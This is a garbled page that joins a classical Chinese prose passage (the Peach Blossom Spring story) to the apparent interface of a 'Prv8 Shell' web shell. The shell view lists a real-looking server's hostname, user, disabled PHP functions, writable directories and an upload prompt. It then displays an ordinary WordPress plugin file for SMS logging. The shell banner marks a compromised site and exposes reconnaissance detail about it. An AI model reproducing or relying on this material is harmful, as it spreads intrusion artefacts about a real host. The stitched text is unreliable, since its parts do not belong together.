晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/oldTZh/wp-content/plugins/persian-gravity-forms/includes/sms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/oldTZh/wp-content/plugins/persian-gravity-forms/includes/sms/class-db.php
<?php

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Create tables, make relations, helper methods
 */
class GFPersian_SMS_DB {

	/**
	 * @var object WordPress Database
	 */
	private static object $wpdb;

	/**
	 * @var string
	 */
	private static string $prefix;

	/**
	 * @var string sms table name
	 */
	public static string $sms_table;

	/**
	 * @var string sms verification table
	 */
	public static string $verification_table;


	/**
	 * @var string Gravity Forms table
	 */
	private static string $form_table;

	public static function init() {
		global $wpdb;

		self::$sms_table          = $wpdb->prefix . 'gf_sms_sent';
		self::$verification_table = $wpdb->prefix . 'gf_sms_verification';
		self::$form_table         = RGFormsModel::get_form_table_name();
	}

	public static function save_sms_sent( $form_id, $entry_id, $sender, $receiver, $message, $verify_code = '' ) {
		global $wpdb;

		if ( empty( $entry_id ) ) {
			$entry_id = ! empty( $verify_code ) ? '_' . $verify_code . '_' : '';
		} else {
			$entry_id = is_array( $entry_id ) ? implode( ',', $entry_id ) : $entry_id;
		}

		$form_id = ! empty( $form_id ) ? $form_id : 0;

		$receiver = is_array( $receiver ) ? implode( ',', $receiver ) : $receiver;

		$wpdb->insert(
			self::$sms_table,
			[
				'date'     => date( 'Y-m-d H:i:s', current_time( 'timestamp', 0 ) ),
				'form_id'  => $form_id,
				'entry_id' => $entry_id,
				'sender'   => $sender,
				'reciever' => $receiver, // TODO: Rename the column with rollback support
				'message'  => $message
			],
			[
				'%s',  // date
				'%d',  // form_id
				'%s',  // entry_id
				'%s',  // sender
				'%s',  // receiver
				'%s'   // message
			]
		);

		if ( $wpdb->last_error ) {
			error_log( 'Database Error: ' . $wpdb->last_error );
		}
	}

	public static function update_entry_verify_sent( $form_id, $entry_id, $verify_code ) {
		global $wpdb;

		$form_id = ! empty( $form_id ) ? $form_id : 0;

		// Handle entry_id: set to empty string if it's not provided
		if ( empty( $entry_id ) ) {
			$entry_id = '';
		} else {
			// Convert entry_id to a string if it's an array
			$entry_id = is_array( $entry_id ) ? implode( ',', $entry_id ) : $entry_id;
		}

		// Format verify_code
		$verify_code = '_' . $verify_code . '_';

		$wpdb->update(
			self::$sms_table,
			[
				'entry_id' => $entry_id,
			],
			[
				'form_id'  => $form_id,
				'entry_id' => $verify_code,
			],
			[ '%s' ], // Format for entry_id
			[ '%d', '%s' ] // Formats for form_id and verify_code
		);
	}

	public static function insert_verify( $form_id, $entry_id, $mobile, $code, $status, $try_num, $sent_num ) {
		global $wpdb;

		$sent_verify_table = self::$verification_table;
		$entry_id          = ! empty( $entry_id ) ? $entry_id : '';
		$form_id           = ! empty( $form_id ) ? $form_id : 0;

		$wpdb->insert(
			$sent_verify_table,
			[
				'form_id'  => $form_id,
				'entry_id' => $entry_id,
				'mobile'   => $mobile,
				'code'     => $code,
				'try_num'  => $try_num,
				'sent_num' => $sent_num,
				'status'   => $status
			],
			[
				'%d', // form_id
				'%d', // entry_id
				'%s', // mobile
				'%s', // code
				'%d', // try_num
				'%d', // sent_num
				'%d'  // status
			]
		);
	}

	public static function update_verify( $id, $try_num, $sent_num, $entry_id, $status ) {
		global $wpdb;

		$entry_id = ! empty( $entry_id ) ? $entry_id : '';
		$wpdb->update(
			self::$verification_table,
			[
				'entry_id' => $entry_id,
				'try_num'  => $try_num,
				'sent_num' => $sent_num,
				'status'   => $status
			],
			[ 'id' => $id ],
			[
				'%s', // entry_id
				'%d', // try_num
				'%d', // sent_num
				'%d'  // status
			],
			[ '%d' ] // id
		);
	}

	/**
	 * Check if a sms is already sent and stored in the gf_sms_sent
	 *
	 * @param int $entry_id
	 * @param int $form_id
	 * @param string $message
	 *
	 * @return bool
	 * */
	public static function check_sms_sent( int $entry_id, int $form_id, string $receiver = '', string $message = '' ): bool {
		global $wpdb;

		$sql = $wpdb->prepare( "SELECT entry_id FROM " . self::$sms_table . " WHERE entry_id = %d AND form_id = %d AND reciever = %s AND message = %s ", $entry_id, $form_id, $receiver, $message );

		$results = $wpdb->get_results( $sql, ARRAY_A );

		if ( empty( $results ) ) {
			return false;
		}

		return true;
	}

}

GFPersian_SMS_DB::init();

haha - 2025